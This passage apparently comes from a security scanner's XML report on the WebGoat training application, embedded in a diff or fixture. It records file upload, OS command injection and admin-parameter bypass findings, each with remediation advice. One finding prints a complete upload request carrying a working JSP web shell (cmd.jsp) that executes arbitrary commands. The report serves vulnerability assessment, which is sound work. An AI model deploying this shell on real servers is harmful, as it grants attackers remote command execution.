03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUEfj//wQf4ZlyI0cAAAAASUVORK5CYII=</data>\n</screenshot>\n<code>The
+        following POST request uploaded a jsp based shell that could later be accessed
+        at: http://targethost/WebGoat/uploads/cmd.jsp\nThe jsp extension has a handler
+        configured within the current web server, causing the jsp code to be interpreted
+        and executed.\n\nPOST /WebGoat/attack?Screen=1146227108&amp;menu=1600 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: multipart/form-data;
+        boundary=---------------------------41184676334\nContent-Length: 1160\n\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"myfile\"; filename=\"cmd.jsp\"\nContent-Type: application/octet-stream\n\n&lt;%@
+        page import=\"java.util.*,java.io.*\"%&gt;\n&lt;HTML&gt;&lt;BODY&gt;\n&lt;FORM
+        METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"&gt;\n&lt;INPUT TYPE=\"text\" NAME=\"cmd\"&gt;\n&lt;INPUT
+        TYPE=\"submit\" VALUE=\"Send\"&gt;\n&lt;/FORM&gt;\n&lt;pre&gt;\n&lt;%\nif
+        (request.getParameter(\"cmd\") != null) {\n        out.println(\"Command:
+        \" + request.getParameter(\"cmd\") + \"&lt;BR&gt;\");\n        Process p =
+        Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n        OutputStream
+        os = p.getOutputStream();\n        InputStream in = p.getInputStream();\n
+        \       DataInputStream dis = new DataInputStream(in);\n        String disr
+        = dis.readLine();\n        while ( disr != null ) {\n                out.println(disr);
+        \n                disr = dis.readLine(); \n                }\n        }\n%&gt;\n&lt;/pre&gt;\n&lt;/BODY&gt;&lt;/HTML&gt;\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"SUBMIT\"\n\nStart Upload\n-----------------------------41184676334--\n</code></appendix></flaw></manualflaws></cwe></category><category
+        categoryid=\"18\" categoryname=\"OS Command Injection\" pcirelated=\"false\"><desc><para
+        text=\"OS command injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct and execute
+        a system command.  This allows an attacker to either alter the command executed
+        by the application or append additional commands.  The command is typically
+        executed with the privileges of the executing process and gives an attacker
+        a privilege or capability that he would not otherwise have.\"/></desc><recommendations><para
+        text=\"Careful handling of all untrusted data is critical in preventing OS
+        command injection attacks.   Using one or more of the following techniques
+        provides defense-in-depth and minimizes the likelihood of an vulnerability.\"><bulletitem
+        text=\"If possible, use library calls rather than external processes to recreate
+        the desired functionality.\"/><bulletitem text=\"Validate user-supplied input
+        using positive filters (white lists) to ensure that it conforms to the expected
+        format, using centralized data validation routines when possible. \"/><bulletitem
+        text=\"Select safe API routines.  Some APIs that execute system commands take
+        an array of strings as input rather than a single string, which protects against
+        some forms of command injection by ensuring that a user-supplied argument
+        cannot be interpreted as part of the command.\"/></para></recommendations><cwe
+        cweid=\"78\" cwename=\"Improper Neutralization of Special Elements used in
+        an OS Command ('OS Command Injection')\" pcirelated=\"false\" owasp=\"929\"
+        sans=\"864\" certc=\"741\" certcpp=\"875\" certjava=\"845\"><description><text
+        text=\"This call contains a command injection flaw.  The argument to the function
+        is constructed using user-supplied input.  If an attacker is allowed to specify
+        all or part of the command, it may be possible to execute commands on the
+        server with the privileges of the executing process.  The level of exposure
+        depends on the effectiveness of input validation routines, if any.\"/></description><staticflaws><flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"132\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String  [], java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"122\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String, java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"276\"
+        module=\"dynamic_analysis\" type=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" description=\"This call contains
+        a command injection flaw. The argument to the function is constructed using
+        user-supplied input. If an attacker is allowed to specify all or part of the
+        command, it may be possible to execute commands on the server with the privileges
+        of the executing process. The level of exposure depends on the effectiveness
+        of input validation routines, if any.\r\n\r\nValidate all user-supplied input
+        to ensure that it conforms to the expected format, using centralized data
+        validation routines when possible. When using black lists, be sure that the
+        sanitizing routine performs a sufficient number of iterations to remove all
+        instances of disallowed characters. Most APIs the execute system commands
+        also have a &quot;safe&quot; version of the method that takes an array of
+        strings as input rather than a single string, which protects against some
+        forms of command injection.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=78)
+        \r\nOWASP (http://www.owasp.org/index.php/Command_Injection) \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\"
+        note=\"\" cweid=\"78\" remediationeffort=\"3\" categoryid=\"18\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"File\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"-1\" categoryname=\"Other\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"These flaws do not fit into one of Veracode's existing categories.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Please see individual flaw descriptions for remediation guidance.\"/>\n</recommendations>\n<cwe
+        cweid=\"807\" cwename=\"Reliance on Untrusted Inputs in a Security Decision\"
+        pcirelated=\"false\" sans=\"866\" certcpp=\"878\" certjava=\"859\">\n<description>\n<text
+        text=\"The application uses a protection mechanism that relies on the existence
+        or values of an input, but the input can be modified by an untrusted actor
+        in a way that bypasses the protection mechanism.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Reliance on Untrusted Inputs in a Security Decision\"
+        count=\"1\" issueid=\"271\" module=\"manual_analysis\" type=\"\" description=\"The
+        application uses a protection mechanism that relies on the existence of an
+        input, but the input can be modified by an untrusted actor in a way that bypasses
+        the protection mechanism. By adding the parameter 'admin' with a value of
+        'true' the administrative interface of the application is accessible to a
+        non-administrative user.\" note=\"\" cweid=\"807\" remediationeffort=\"3\"
+        exploitLevel=\"2\" categoryid=\"-1\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack\"
+        cvss=\"9\" capecid=\"4\" exploitdifficulty=\"1\" inputvector=\"admin\">\n<exploit_desc>An
+        attacker can set this parameter easily within their web-browser. Links to
+        the administrative interface will then be displayed. </exploit_desc>\n<severity_desc>Attackers
+        can bypass the security decision to access whatever is being protected. The
+        consequences will depend on the associated functionality, but they can range
+        from granting additional privileges to untrusted users to bypassing important
+        security checks. Ultimately, this weakness may lead to exposure or modification
+        of sensitive data, system crash, or execution of arbitrary code.</severity_desc>\n<remediation_desc>Identify
+        all inputs that are used for security decisions and determine if you can modify
+        the design so that you do not have to rely on submitted inputs at all. For
+        example, you may be able to keep critical information about the user's session
+        on the server side instead of recording it within external data.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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